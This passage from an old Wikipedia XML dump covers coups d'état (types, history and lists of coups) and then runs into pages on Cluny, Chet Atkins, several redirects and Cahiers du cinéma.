Coups d'état have often been seen as a means for powerful nations to assure favorable outcomes in smaller foreign states. In particular, the American [[Central Intelligence Agency|CIA]] and Soviet [[KGB]] developed a reputation for supporting coups in states such as Chile and [[Afghanistan]], respectively. Such actions are substitutes for direct military intervention which would have been more politically unpopular. The governments of France and [[United Kingdom|Britain]] have engineered coups as well.

==Recent forms of coup==
In recent years, use of the traditional military coup has declined. A new, more contemporary form of military intervention which some regard as a coup d'état is simple ''threat'' of military force to remove a particularly unpopular leader. This has occurred twice in the Philippines. In contrast to previous coups d'état, the military does not directly assume power, but rather serves as an arbiter for civilian leaders.

In [[Mauritania]] a white coup d'état happened on [[August 3]], [[2005]] when the president was in [[Saudi Arabia]].

In recent years mass street [[protest]]s have also often been able to force unpopular and corrupt leaders from office in a coup-like fashion. In situations of this sort, such as in [[Serbia]] ([[2000]]), [[Argentina]] ([[2001]]), [[Bolivia]] ([[2003]]), [[Ukraine]] ([[2004]]&amp;ndash;[[2005]]), [[Lebanon]], [[Ecuador]] and [[Bolivia]] ([[2005]]), popular uprisings simply forced the sitting president to resign his office, causing someone new to assume the presidency. This often results in a period of stability and calm, in which an unknown and uncontroversial vice president can rule the nation until new elections can be held.

In 2002 the United States allegedly supported a coup in [[Venezuela]] against President [[Hugo Chávez]], despite Chávez having been elected by popular vote in two consecutive elections. The coup failed, mainly due to sizable public protests in support of Chávez which dwarfed rallies launched by his opponents. Chávez was returned to office two days after the coup, the provisional military [[junta]] was dissolved, and the democratic government survived a [[referendum]] on new elections by a large margin. In cases such as these, popular protests have been able to prevent coups and place popular leaders back in office.

==Types of coups==

[[Samuel P. Huntington]] has divided coups into three types (ignoring Luttwak's non-military coups)

* '''Breakthrough coups''' - In which a revolutionary army overthrows a traditional government and creates a new bureaucratic elite.  Breakthrough coups are generally led by [[non-commissioned officer]]s (NCOs) or junior officers and only happen once.  Examples include [[China]] in [[1911]], [[Egypt]] in [[1952]], Greece in [[1967]] and [[Liberia]] in [[1980]].

* '''Guardian coups''' - These coups have been described as [[musical chairs]].  The stated aim of this form of coup is to improve public order, efficiency, or to end corruption.  There is usually no fundamental shift in the structure of power, and the leaders of these types of coups generally portray their actions as a temporary and unfortunate necessity. Many nations with guardian coups undergo many shifts between civilian and military governments. Examples include  Pakistan, [[Turkey]], and [[Thailand]].

* '''Veto coups''' - These coups occur when the army vetoes mass participation and social mobilization.  In these cases the army must confront and suppress large-scale and broad-based opposition and as a result they tend to be repressive and bloody. Examples include [[Chilean coup of 1973|Chile in 1973]] and Argentina in [[1976]], as well as the overthrow of President [[Fujimori]] of Peru in [[2000]]. An abortive and botched veto coup occurred in [[Venezuela]] in [[2002]].

Coups can also be classified by the level of the military that leads the coup. Veto coups and guardian coups tend to be led by senior officers. Breakthrough coups tend to be led by junior officers or NCOs. In cases where the coup is led by junior officers or enlisted men, the coup is also a [[mutiny]] which can have grave implications for the organizational structure of the military.

There is also a category known as '''bloodless coups''' in which the mere threat of violence is enough to force the current government to step aside. Bloodless coups are so called because they involve no violence and thus no bloodshed.  [[Napoleon I of France|Napoleon]]'s [[18 Brumaire]] coup is often pointed out as an example of bloodless coup, showing that bloodless coups are not always considered to be &quot;bloodless&quot;: on 18 Brumaire, several members of parliament were thrown out the windows of the building where they assembled.  More recently, [[Pervez Musharraf]] of Pakistan came to power in a bloodless coup in [[1999]].

The term '''[[self-coup]]''' is used when the current government assumes extraordinary powers not allowed by the legislation. An example is [[Alberto Fujimori#Self-coup|Alberto Fujimori]] in [[Peru]], who was democratically elected, but later took control of the legislative and judicial powers, or the coup of French 
Emperor [[Napoleon III|Louis Napoléon Bonaparte]] in [[1851]] against the powerful [[National Assembly]]; some argue that the assumption of &quot;emergency powers&quot; by [[King Gyanendra]] of [[Nepal]] is a self-coup.

==Post-military-coup governments==
After the coup, the military is faced with the issue of the type of government to establish. In Latin America, it was common for the post-coup government to be led by a [[junta]], a [[committee]] of the chiefs of staff of the various armed forces.  A common form of African post-coup government is the revolutionary assembly, a quasi-legislative body made of members elected by the army. In Pakistan, the military leader typically assumes the title of chief [[martial law]] administrator.  

According to Huntington, most coup leaders act under the concept of ''right orders'': they believe that the best way to solve the problems their country is facing is to issue correct orders. This view of government underestimates the difficulty in implementing government policy and the amount of possible political resistance to certain orders.

==Important coups in the 19th century==
* [[1851]]: [[French coup of 1851]].
*[[1874]]: [[Arsenio Martínez Campos]] overthrows the [[First Spanish Republic]] and installs [[Alfonso XII of Spain|Alfonso XII]] as king.

==Important coups in the 20th century==
*[[1910]]: A [[Republicanism|republican]] coup d'état deposes [[List of Portuguese monarchs|King]] [[Manuel II of Portugal]] and establishes the [[Portuguese First Republic]].
*[[1920]]: The [[Kapp Putsch]], a failed coup attempt by the Freikorps Ehrhardt. 
*[[1923]]: [[Miguel Primo de Rivera]] installs a [[Spain under the Restoration#Primo de Rivera's Dictatorship (1923 - 1930)|dictatorship]] without overthrowing the [[Alfonso XIII of Spain|king]].
*1923: The [[Beer Hall Putsch]], a failed coup attempt by [[Adolf Hitler]] in [[Germany]].
*[[1926]]: Coup of [[Jozef Pilsudski]] in [[Poland]].
*1926: [[28th May 1926 coup d'état|28th May military coup]] of [[Gomes da Costa]] in [[Portugal]].
*[[1932]]: The [[Mäntsälä Rebellion]], failed coup attempt by the [[Lapua Movement]] in [[Finland]].
*1932: The [[May 15 Incident|May 15th Incident]], a military coup in [[Japan]].
*[[1933]]: Failed coup against [[Franklin D. Roosevelt]] alleged in the [[United States]] (see [[Business Plot]]).
*[[1934]]: Coup of [[Kārlis Ulmanis]] in [[Latvia]].
*1934: Coup of [[Konstantin Päts]] in [[Estonia]].
*[[1935]]: Coup in [[History of Greece|Greece]].
*1936 Xian Incident, General [[Chiang Kai-shek]] was kidnapped by his deputy Zhang Hsu-liang, who demanded Chiang to stop fighting the Chinese communist. Madame Chiang and her brother T.V. Soongs' subsequent negotiation with Zhang ensure the Generalissimo's release. But Chiang's cease-fire with the Chinese communist gave them time to recuperate and strengthen so much that after WWII their troops outnumber Chiang's and they were able to take over all China, with the exception of Taiwan.
*[[1936]]: Part of the army seizes control of parts of [[Spain]] commencing the [[Spanish Civil War]]. Later General [[Francisco Franco]] assumes control of the country.
*[[1936]]: The [[February 26 Incident|February 26th Incident]], a failed coup attempt in [[Japan]] by junior military officers that did succeed in installing a militarist government.
*[[1937]]: Brazilian president [[Getúlio Vargas]], governing democratically until then, launches a self-coup and becomes the Dictator of Brazilian [[Estado Novo (Brazil)|Estado Novo]].
*[[1942]]: French resistance coup in [[Algiers]], by which 400 Civil French patriots neutralized Vichyst XIXth Army Corps in Algiers during 15 hours, arrested vichyst generals (Juin, Darlan, etc.), and so allowed the immediate success of [[Operation Torch]].
*[[1943]]: Military coup in [[Argentina]] leads to the ascent of extremely popular President [[Juan Perón]].
*[[1944]]: The [[July 20 Plot]], a failed attempt to overthrow [[Adolf Hitler|Hitler]] in [[Nazi Germany]], led by [[Claus von Stauffenberg]].
*[[1945]]: [[Getúlio Vargas]]'s government ends due to a coup, led by General Mourão, one of his former supporters.
*[[1947]]: Coup in [[Thailand]].
*[[1948]]: [[Communist]] coup in [[Czechoslovakia]].
*[[1952]]: Military coup in [[Egypt]].
*1952: [[Fulgencio Batista]] leads successful and bloodless coup to topple democratically elected government of [[Cuba]].
*[[1953]]: Anglo-American coup in [[Iran]], codenamed [[Operation Ajax]].
*[[1954]]: Military coup in [[Paraguay]].
*[[1955]]: A contra-coup in [[Brazil]] led by [[Marechal Lott]] grants the presidency to elected one, [[Juscelino Kubitschek]] and overtrhown the two-days-long legal government of [[Carlos Coimbra da Luz|Carlos Luz]].
*1955: Military coup overthrows [[Argentine]] President Juan Perón 
*[[1958]]: Military coup in [[Pakistan]]. Army Chief and Defence Minister Gen. [[Ayub Khan]] overthrows the government of [[Iskander Mirza]] and becomes President after a winning a rigged referendum.
*1958: Civic/Military coup in [[Venezuela]], overthrowing Marcos Perez Jimenez.
*1958: Military coup in [[History of Iraq|Iraq]] overthrows the monarchy.
*[[1960]]: Military coup in [[Turkey]].
*[[1961]]: The [[Coup d'état of May Sixteenth]] in [[South Korea]]. [[Park Chunghee]] established presidency.
*[[1962]]: Failed [[Military]] backed and [[Catholic]] action led [[Coup]] in [[Sri Lanka]] then [[Ceylon]].
*[[1963]]: Military coup in [[South Vietnam]], overthrowing [[Ngo Dinh Diem]].
*1963: Alleged coup in the United States, overthrowing [[John F. Kennedy]] (See [[Kennedy assassination theories]]).
*1963: Military coup in [[Ecuador]].
*1963: Military coup in [[Syria]].
*1963: Coup in [[Iraq]] backed by the CIA, followed by a counter-coup.
*[[1964]]: Military coup in [[History of Brazil (1945-1964)#Goulart and the fall of the Second Republic|Brazil]].
*1964: Military coup in [[South Vietnam]], overthrowing [[Duong Van Minh]].
*1965: Military coup in [[Indonesia]]
*[[1966]]: Military coup in [[Ghana]].
*1966: Military coup in  [[Nigeria]] leading to end of first republic.
*1966: [[Shakhbut Bin-Sultan Al Nahyan]], the ruler of the [[United Arab Emirates]] was deposed in a bloodless coup, being replaced by his brother [[Zayed bin Sultan Al Nahayan|Sheikh Zayed Bin-Sultan Al Nahyan]]. 
*[[1967]]: Military coup in [[History of Greece|Greece]]. See [[Greek military junta of 1967-1974]].
*1967: Military coup in [[Nigeria]]. [[Yakubu Gowon]] comes to power.
*[[1968]]: Coup in [[Panama]] by [[Omar Torrijos]].
*1968: Coup in [[Iraq]] backed by the CIA establishes rule of the [[Ba'ath Party]].
*[[1969]]: [[Moammar Al Qadhafi|Colonel Qadhafi]] overthrows monarchy in [[Libya]].
*1969: Military coup in [[Somalia]].
*[[1970]]: Military coup in Pakistan, Army Chief Gen. [[Yahya Khan]] forces President Field Marshal [[Ayub Khan]] (who himself came to power in a coup) to hand over power to him.
*1970: Coup in [[Bolivia]], soon followed by a leftist countercoup.
*1970: Coup in [[Cambodia]], led by Prime Minister General [[Lon Nol]]. See [[Cambodian coup of 1970]].
*[[1971]]: Military coup in [[Turkey]] ([[Coup by Memorandum]]).
*1971: Military coup in [[Uganda]] led by [[Idi Amin]].
*[[1973]]: Military coup in [[History of Chile|Chile]] supported by the U.S. The democratically elected [[Marxism|Marxist]] president [[Salvador Allende]] is replaced by the [[military dictatorship]] of [[Augusto Pinochet]].  See [[Chilean coup of 1973]].
*1973: The President of [[Uruguay]] dissolves Parliament and heads a coup.
*[[1974]]: Military coup in [[Portugal]] ([[Carnation Revolution]]).
*1974: Military coup in [[Cyprus]] sponsored by [[Greek military junta of 1967-1974|Greek colonels]] overthrows [[Makarios]] and triggers [[Cyprus dispute| invasion by Turkey]].
*[[1975]]: Military coup in [[Ethiopia]] by the communist junta led by General Aman Andom and Megistu Hailemariam.
*1975: Military coup in [[Bangladesh]] overthrows &amp; kills [[Sheikh Mujibur Rahman]].
*1975: Military coup in Nigeria overthrows [[Yakubu Gowon]]. [[Murtala Ramat Mohammed]] comes to power.
*1975: Military [[Chadian coup of 1975|coup in Chad]] overthrows and kills [[Heads of state of Chad|President]] [[François (Ngarta) Tombalbaye|François Tombalbaye]]. 
*[[1976]]: Military coup in [[Ecuador]].
*[[1976]]: Military coup in [[Thailand]].
*1976: Failed coup attempt in Nigeria. [[Murtala Ramat Mohammed]] killed but [[Obasanjo]] survives and becomes head of state.
*1976: Military coup in [[Argentina]] leads to the [[Proceso de Reorganización Nacional]].
*[[1978]]: Communist coup in [[Afghanistan]].
*[[1979]]: Military coup in [[Pakistan]]. Army Chief Gen. [[Muhammad Zia-ul-Haq]] overthrows the civilian government and hangs Prime Minister [[Zulfiqar Ali Bhutto]] after a sham trial.
*1979: The [[Coup d'état of December Twelfth]] in [[South Korea]]. [[Chun Doo-hwan]] established presidentship.
*[[1980]]: 'Cocaine Coup' in [[Bolivia]] of [[Luis García Meza Tejada]].
*1980: Military coup in [[Turkey]].
*1980: Military coup in [[Liberia]].
*1980: Successful coup in [[Suriname]] by military officers led by [[Dési Bouterse]] that resulted in [[military rule]] until [[1988]].
*[[1981]]: [[23-F|Failed coup]] in [[Spain]] led by [[Antonio Tejero]].
*[[1982]]: [[1982 Kenyan coup|Failed coup in Kenya]] by some members of the [[Kenya Air Force]].
*[[1983]]: Military palace coup in [[Nigeria]]. Second republic overthrown.
*[[1985]]: Military coup in [[Uganda]] led by [[Basilio Olara Okello|Basilio Okello]] and [[Tito Okello]].
*1985: Military coup in [[Nigeria]]. [[Ibrahim Babangida]] replaces [[Muhammadu Buhari]].
*[[1984]]: [[Maaouya Ould Sid'Ahmed Taya]] raise to power in [[Mauritania]] after a coup that overthrow the president [[Mohamed Khouna Ould Haidalla]].
*[[1989]]: Failed coup attempt in the [[Philippines]] led by Col. [[Gregorio Honasan]].
*[[1990]]: Failed coup attempt in Nigeria led by Col. Orkar.
*[[1991]]: [[Soviet coup attempt of 1991|Failed coup attempt]] (the so-called ''August Putsch'') in the [[Soviet Union]].
*[[1992]]: [[Alberto Fujimori#Self-coup|Alberto Fujimori]] launches a self-coup in [[Peru]].

==Recent coups and coup attempts==
*[[1997]]: Military coup in [[Turkey]], called 'post-modern coup' (February 28), overthrows the coalition government.
*[[1999]]: Military coup in Pakistan. [[Pakistani Army|Army]] refuses to obey Prime Minister [[Nawaz Sharif]]'s government. General [[Pervez Musharraf]] becomes dictator (with the title &quot;Chief Executive&quot;) and exiles Nawaz Sharif to [[Saudi Arabia]].
*[[1999]]: Military coup in [[Côte d'Ivoire]] (Ivory Coast).
*[[2000]]: Unsuccessful coup in [[Fiji]], under [[George Speight]].
*[[2000]]: A coup in [[Ecuador]] with strong support from indigenous groups and led by [[Lúcio Gutierrez]] overthrows president [[Jamil Mahuad]].
*[[2000]]: Overthrow of President [[Fujimori]] in [[Peru]].
*[[2002]]: [[Venezuelan coup attempt of 2002|Unsuccessful coup]] to overthrow President [[Hugo Chávez]] in [[Venezuela]]
*2002: Military coup in [[Central African Republic]].
*[[2003]]: Attempted coup in [[History of Mauritania|Mauritania]].
*2003: Military coup in [[São Tomé and Príncipe]].
*2003: Military coup in [[Guinea-Bissau]].
*[[2004]]: [[2004 Haiti rebellion|Quasi-military coup]] in [[Haiti]].
*2004: Attempted coup in the [[Democratic Republic of Congo]].
*2004: Second attempted coup in the [[Democratic Republic of Congo]] ([[June]]).
*2004: Attempted coup in [[Equatorial Guinea]] ([[August]]).
*[[2005]]: Coup in [[Togo]] legalized by parliamentary vote but unrecognized by international community.
*2005: A coup in [[Ecuador]] overthrows the president [[Lúcio Gutierrez]] and installs the vice-president [[Alfredo Palacios]].
*2005: Coup by [[Nepal|Nepalese]] monarch, overthrows constitutional [[monarchy]]. Restoration of [[absolute monarchy]].
*2005: Military coup in [[Mauritania]] overthrows president [[Maaouya Ould Sid'Ahmed Taya]], who came to power after a coup, in [[1984]].
*[[2006]]: Alleged attempted military [[2006 Philippines coup|coup]] in the [[Philippines]] targeting President [[Gloria Arroyo]].

==Currently-serving leaders who came to power via coups==
*[[Omar Hasan Ahmad al-Bashir|Omar Hassan Ahmad al-Bashir]], President of [[Sudan]] (1989&amp;ndash;)
*[[Muammar al-Qaddafi]], leader of [[Libya]] (1969&amp;ndash;)
*[[Azali Assoumani]], President of the [[Comoros]] (1999&amp;ndash;)
*[[Zine El Abidine Ben Ali]], President of [[Tunisia]] (1987&amp;ndash;)
*[[François Bozizé]], President of the [[Central African Republic]] (2003&amp;ndash;)
*[[Blaise Compaoré]], President of [[Burkina Faso]] (1987&amp;ndash;)
*[[Lansana Conté]], President of [[Guinea]] (1984&amp;ndash;)
*[[Idriss Déby]], President of [[Chad]] (1990&amp;ndash;)
*[[Yahya Jammeh]], President of [[The Gambia]] (1994&amp;ndash;)
*[[Gérard Latortue]], Interim prime minister of [[Haiti]]&amp;mdash;not recognized by [[CARICOM]]
*[[Teodoro Obiang Nguema Mbasogo]], President of [[Equatorial Guinea]] (1979&amp;ndash;)
*[[Pervez Musharraf]], Chief of Army Staff and President of [[Pakistan]] (1999&amp;ndash;)
*[[Ely Ould Mohamed Vall]], Chairman of the [[Military Council for Justice and Democracy]] in [[Mauritania]] (2005&amp;ndash;)

==See also==
*Contrast with [[civilian control of the military]]
*[[List of protective service agencies]]
*[[List of fictional revolutions and coups]]
*[[The Origins of the American Military Coup of 2012]]
*[http://carlisle-www.army.mil/usawc/Parameters/1992/dunlap.htm  The American coup of 2012]

==References==
* [[Edward Luttwak]], ''Coup d'etat: A practical handbook'', Harvard University Press, 1969, 1980. ISBN 06-741-75476.
* Curzio Malaparte, ''Technique du Coup d'Etat'' (Published in French), Paris, 1931.
* D. J. Goodspeed, ''Six Coups d'Etat'', Viking Press inc., New-York, 1962.


[[Category:Civil-military relations]]
[[Category:Coups|*]]
[[Category:French phrases]]

[[ca:Cop d'estat]]
[[cs:Puč]]
[[da:Statskup]]
[[de:Putsch]]
[[eo:Puĉo]]
[[es:Golpe de Estado]]
[[fr:Coup d'État]]
[[he:הפיכה]]
[[id:Kudeta]]
[[io:Stato-stroko]]
[[it:Colpo di stato]]
[[ja:クーデター]]
[[ko:쿠데타]]
[[nl:Staatsgreep]]
[[nn:Kupp]]
[[no:Statskupp]]
[[pl:Zamach stanu]]
[[pt:Golpe de Estado]]
[[ru:Путч]]
[[sl:Državni udar]]
[[sv:Statskupp]]
[[vi:Đảo chính]]
[[zh:政變]]</text>
    </revision>
  </page>
  <page>
    <title>Cluny</title>
    <id>7755</id>
    <revision>
      <id>40362409</id>
      <timestamp>2006-02-20T01:42:18Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">{{French commune|nomcommune=Cluny|
région=[[Bourgogne]]|département=[[Saône-et-Loire]]|
arrondissement=Mâcon|canton=[[Canton of Cluny|Cluny]] (''chief town'')|
insee=71137|cp=71250|maire=Robert Rolland|mandat=[[2001]]-[[2007]]|
intercomm=|
longitude=04° 39' 36&quot; E|latitude=46° 26' 07&quot; N|alt moy=248 m|
alt mini=226 m|alt maxi=574 m|
hectares=2,371|km²=23.71|sans=4,376|date-sans=1999|dens=184.56}}

[[Image:Cluny_today.jpg|thumb|300px|Cluny nowadays]]
{{commons|Cluny|Cluny}}
The town and [[commune in France|commune]] of '''Cluny''' or '''Clugny''' lies in the modern-day ''[[département in France|département]]'' of [[Saône-et-Loire]] in the ''[[région in France|région]]'' of [[Bourgogne]],  in east-central [[France]], near [[Mâcon]]. Population (1999): 4,376.

The town grew up around the '''[[Abbey of Cluny]]'''.

==See also==
* [[Clunian Reforms]]

==External links==
* [http://www.cybercommunes.com/cluny/ Official website] (in French)

{{bourgogne-geo-stub}}

[[Category:Communes of Saône-et-Loire]]

[[af:Cluny]]
[[ar:كلوني]]
[[de:Cluny]]
[[fr:Cluny (Saône-et-Loire)]]
[[it:Cluny (Saône-et-Loire)]]
[[nl:Cluny]]
[[pl:Cluny]]
[[sr:Cluny]]
[[fi:Cluny]]
[[sv:Cluny]]</text>
    </revision>
  </page>
  <page>
    <title>Chet Atkins</title>
    <id>7756</id>
    <revision>
      <id>41067718</id>
      <timestamp>2006-02-24T21:18:51Z</timestamp>
      <contributor>
        <ip>198.86.235.60</ip>
      </contributor>
      <comment>/* Biography */</comment>
      <text xml:space="preserve">[[Image:Chet atkins.jpg|right|thumb|300px|Chet Atkins]]

'''Chester Burton &quot;Chet&quot; Atkins''' ([[June 20]], [[1924]] &amp;ndash; [[June 30]], [[2001]]) was an influential [[guitarist]] and [[record producer]]. His virtuoso picking style inspired by [[Merle Travis]], [[Django Reinhardt]], [[George Barnes]] and [[Les Paul]], brought him admirers both within and outside the country scene. Atkins produced records for [[Eddy Arnold]], [[Don Gibson]], [[Jim Reeves]], [[Connie Smith]], and [[Waylon Jennings]] to name a few. Atkins created, along with [[Owen Bradley]], the smoother country music style known as the [[Nashville sound]], which expanded country music's appeal to include adult pop music fans as well.

==Biography==
Atkins was born in [[Luttrell, Tennessee]], and grew up with his mother and siblings after the divorce of his parents. He started out on the fiddle, but traded his stepfather a rifle for a guitar when he was nine. Forced to relocate to [[Georgia (U.S. state)|Georgia]] to live with his father due to a near-fatal [[asthma]] attack, Atkins was a sensitive youth who made music his obsession. He became an accomplished guitarist while he was in high school. Atkins was self-taught, and later on in life gave himself (along with [[Tommy Emmanuel]], Jerry Reed and John Knowles) the honorary degree &quot;CGP&quot;, standing for &quot;Certified Guitar Picker&quot;. 
He didn't have a strong style of his own until he heard Merle Travis picking over [[WLW]] radio in 1939, when Atkins was still living in Georgia.  After graduating high school in 1942, his half-brother Jim, a successful guitarist (who worked with the [[Les Paul]] Trio in New York) helped get him a job at [[WNOX]] radio in [[Knoxville, Tennessee|Knoxville]]. There he played fiddle and guitar with singer Bill Carlisle and comic [[Archie Campbell]] as well as becoming a member of the station's &quot;Dixieland Swingsters,&quot; a small swing instrumental combo.
 
After three years, he moved to [[WLW]] in [[Cincinnati, Ohio]], where Merle Travis had formerly worked.  After six months he moved to Raleigh and worked with Johnnie and Jack before heading for [[Richmond, Virginia]], where he performed with Sunshine Sue Workman, who soon fired him. Atkins's shy personality worked against him, as did the fact that his sophisticated style led many to doubt he was truly &quot;country.&quot; 

Relocating to Chicago, he auditioned for [[Red Foley]], who was leaving his star position at the [[WLS National Barn Dance]] to join the [[Grand Ole Opry]]. Atkins made his first appearance at the [[Grand Ole Opry]] in [[1946]] as a member of Foley's band. He also recorded a single for Nashville-based Bullet Records that year. That single, &quot;Guitar Blues,&quot; was fairly progressive, including as it did, a clarinet solo by Nashville dance band musician Dutch McMillan with [[Owen Bradley]] on piano. Atkins moved on to [[KWTO]] in [[Springfield, Missouri]], but despite the support of executive Si Siman, soon was fired for not sounding country enough. 

While working with a Western Band in [[Denver, Colorado]], Atkins came to the attention of [[RCA Victor]]. Si Siman had been encouraging [[Stephen H. Sholes|Steve Sholes]], to sign Atkins, as his style, with the success of Merle Travis as a hit recording artist, was suddenly in vogue. Sholes, A&amp;R director of country music at RCA, tracked Atkins down to Denver. He made his first RCA recordings in Chicago in 1947.  They did not sell. He did extensive studio work for RCA that year but had relocated to Knoxville again where he worked with [[Homer and Jethro]] on WNOX's new Saturday night radio show the Tennessee Barn Dance.  In 1949 he left WNOX to join 
[[June Carter#With Mother Maybelle &amp; the Carter Sisters|Mother Maybelle and the Carter Sisters]] back at KWTO.  This incarnation of the old [[Carter Family]] featured Maybelle Carter and daughters June, Helen and Anita.  Their work soon attracted attention from the Opry.  The group relocated to [[Nashville]] in mid-1950. Atkins began working on recording sessions, performing on [[WSM]] and the Opry.

While he hadn't had a hit record on RCA his stature was growing. He began assisting Sholes when the New York-based producer needed help organizing Nashville sessions for RCA artists.  Atkins's first hit single was &quot;[[Mr. Sandman]],&quot; followed by &quot;Silver Bell,&quot; which he did as a duet with [[Hank Snow]]. His albums also became more popular. In addition to recording, Atkins became a design consultant for [[Gretsch]], who manufactured a Chet Atkins line of electric guitars from 1955-1980.
Atkins also became manager of RCA's Nashville stuido.

When Steve Sholes took over pop production in [[1957]], a result of Sholes's success with [[Elvis Presley]], he left Atkins in charge of RCA's Nashville division.  It was then that Atkins and Owen Bradley, seeing country music record sales in tatters as rock and roll took over, came up with the idea of eliminating fiddles and steel guitar  as a means of making country singers appeal to pop fans. Atkins used the [[Jordanaires]] and a rhythm section on hits like [[Jim Reeves]]'s &quot;Four Walls&quot; and &quot;He'll Have to Go&quot; and [[Don Gibson]]'s &quot;Oh Lonesome Me&quot; and &quot;Blue Blue Day.&quot;  The concept of having a country hit &quot;cross over&quot; to pop success became a formula. He and Bradley had essentially put the producer in the driver's seat, guiding an artist's choice of material and the musical background.

Atkins made his own records, which usually visited pop standards and jazz, in a home studio, recording the rhythm tracks as RCA but working on them repeatedly until they satisfied him. Guitarists of all styles came to admire various Atkins albums for their unique ideas and in some cases experimental electronic ideas.  Atkins style, which was and is very difficult for the &quot;backyard guitarist&quot; to master, uses the thumb and first two fingers of the right hand.  He developed this style from listening to Merle Travis.  He was sure no one could play that articulately with just the thumb and index finger (which actually was exactly how Travis played) and he assumed it required the thumb and two fingers - and that was the style he pioneered and mastered.  He enjoyed jamming with fellow studio musicians which led to them being asked to perform at the [[Newport Jazz Festival]] in [[1960]]. That performance was canceled, however, due to rioting. Atkins performed at the [[White House]] in [[1961]]. 

Before his mentor, Sholes, died in [[1968]], Atkins had become vice president of RCA's country division. He had brought [[Waylon Jennings]], [[Willie Nelson]], [[Connie Smith]], [[Bobby Bare]], [[Dolly Parton]], [[Jerry Reed]] and [[John Hartford]] to the label in the 1960s. He took a considerable risk during the mid-1960s, when the [[Civil Rights Movement]] sparked violence throughout the South by signing country music's first African-American singer: [[Charley Pride]], who sang rawer country than the smoother music Atkins had pioneered. But Atkins's hunch paid off. Ironically, Pride's biggest fans became the most conservative country fans, many of whom didn't care for the pop stylings Atkins had added.

Atkins's own biggest hit single came in [[1965]], with &quot;Yakety Axe,&quot; an adaptation of his friend saxophonist [[Boots Randolph]]'s &quot;Yakety Sax.&quot;  He rarely performed in those days, and eventually had to hire other RCA producers like [[Bob Ferguson]] and [[Felton Jarvis]] to allieviate his workload.  

In the [[1970s]], Atkins became increasingly stressed out by his executive duties.  He produced fewer records but could still turn out hits such as [[Perry Como]]'s pop hit &quot;And I Love You So.&quot; He recorded extensively with close friend and fellow picker Jerry Reed, who'd become a hit artist in his own right.  A 1973 bout with [[colon cancer]], however, led Atkins to redefine his role at RCA, to allow others to handle administration while he worked more on his music, often recording with Reed or even [[Homer &amp; Jethro]]'s Jethro Burns (Atkins's brother-in-law) after Homer died in 1971.  

By the end of the '70s, Atkins's time had passed as a producer. New executives at RCA had different ideas. He retired from his position in the company. Then began feeling stifled as an RCA artist because they would not let him branch out into [[jazz]]. At the same time he grew dissatisfied with the direction Gretsch, no longer family-owned, was going and withdrew his authorization for them to use his name and began designing guitars with [[Gibson Guitar Corporation|Gibson]]. He left RCA in [[1982]] and signed with [[Columbia Records]], for whom he produced an album in [[1983]]. While he was with Columbia, he showed his creativity and taste in jazz guitar, and in various other contexts. Jazz had always been a strong love of Atkins, and many times during his career he was criticized by &quot;pure&quot; country musicians for his jazz influences.  He also said - on many occasions - that he did not like being called a &quot;country guitarist&quot;, insisting that he was a guitarist, period.  Later in life, he learned to read music, and even performed some classical guitar pieces with taste and distinction.  He did return to his country roots for albums he recorded with [[Mark Knopfler]] and Jerry Reed.  On being asked to name the ten most influential guitarists of the 20th century, he named Django Rheinardt to the first position on the list, and modestly placed himself at fifth position.

Atkins received numerous awards, including eleven [[Grammy Award]]s and nine [[Country Music Association]] Instrumentalist of the Year awards. While he did more performing in the 1990s his health grew frail as the cancer returned and worsened.  He died on June 30, 2001 at his home in Nashville.

Before his health drastically declined, Atkins authored a book on his music and his extensive guitar collection for publisher Russ Cochran.  In his final recollection, he stated:

:Years from now, after I'm gone, someone will listen to what I've done and know I was here. They may not know or care who I was, but they'll hear my guitars speaking for me.

==See also==
* [[List of best-selling music artists]]

==External links==
* [http://www.misterguitar.com Chet Atkins Official Website]
* [http://www.allmusic.com/cg/amg.dll?p=amg&amp;sql=11:liaxlf3e5cqq AMG Entry for Chet Atkins]
* [http://www.jazzkeyboard.com Chet Atkins band sideman]

[[Category:1924 births|Atkins, Chet]]
[[Category:2001 deaths|Atkins, Chet]]
[[Category:Country musicians|Atkins, Chet]]
[[Category:Record producers|Atkins, Chet]]
[[Category:American guitarists|Atkins, Chet]]
[[Category:Rock and Roll Hall of Fame inductees|Atkins, Chet]]
[[Category:American music industry executives|Atkins, Chet]]
[[Category:People from Tennessee|Atkins, Chet]]


[[de:Chet Atkins]]
[[fr:Chet Atkins]]
[[pl:Chet Atkins]]
[[no:Chet Atkins]]
[[sv:Chet Atkins]]</text>
    </revision>
  </page>
  <page>
    <title>Conrad II</title>
    <id>7757</id>
    <revision>
      <id>15905810</id>
      <timestamp>2002-09-19T01:05:22Z</timestamp>
      <contributor>
        <username>Ktsquare</username>
        <id>2240</id>
      </contributor>
      <minor />
      <comment>page redirected</comment>
      <text xml:space="preserve">#Redirect [[Conrad II, Holy Roman Emperor]]</text>
    </revision>
  </page>
  <page>
    <title>Carassius auratus</title>
    <id>7763</id>
    <revision>
      <id>15905813</id>
      <timestamp>2002-07-07T13:55:38Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#REDIRECT [[goldfish]]</comment>
      <text xml:space="preserve">#REDIRECT [[goldfish]]</text>
    </revision>
  </page>
  <page>
    <title>Cyprinus carpio</title>
    <id>7764</id>
    <revision>
      <id>15905814</id>
      <timestamp>2002-07-07T13:53:18Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#REDIRECT [[common carp]]</comment>
      <text xml:space="preserve">#REDIRECT [[common carp]]</text>
    </revision>
  </page>
  <page>
    <title>Cahiers du cinéma</title>
    <id>7765</id>
    <revision>
      <id>39807059</id>
      <timestamp>2006-02-16T00:14:56Z</timestamp>
      <contributor>
        <username>Korg</username>
        <id>263660</id>
      </contributor>
      <minor />
      <comment>typo</comment>
      <text xml:space="preserve">''''' Cahiers du cinéma''''' is an influential [[France|French]] [[film]] [[magazine]] founded in [[1951]] by [[Andre Bazin|André Bazin]], [[Jacques Doniol-Valcroze]] and [[Joseph-Marie Lo Duca]]. It was a development from the earlier magazine ''Revue du Cinéma'' and the members of two Paris film clubs &amp;mdash; ''Objectif 49'' ([[Robert Bresson|Bresson]], [[Jean Cocteau|Cocteau]] and [[Alexandre Astruc]], etc.) and ''Ciné-Club du Quartier Latin''. Initially edited by [[Éric Rohmer]] (Maurice Scherer) it included amongst its writers [[Jacques Rivette]], [[Jean-Luc Godard]], [[Claude Chabrol]] and [[François Truffaut]].

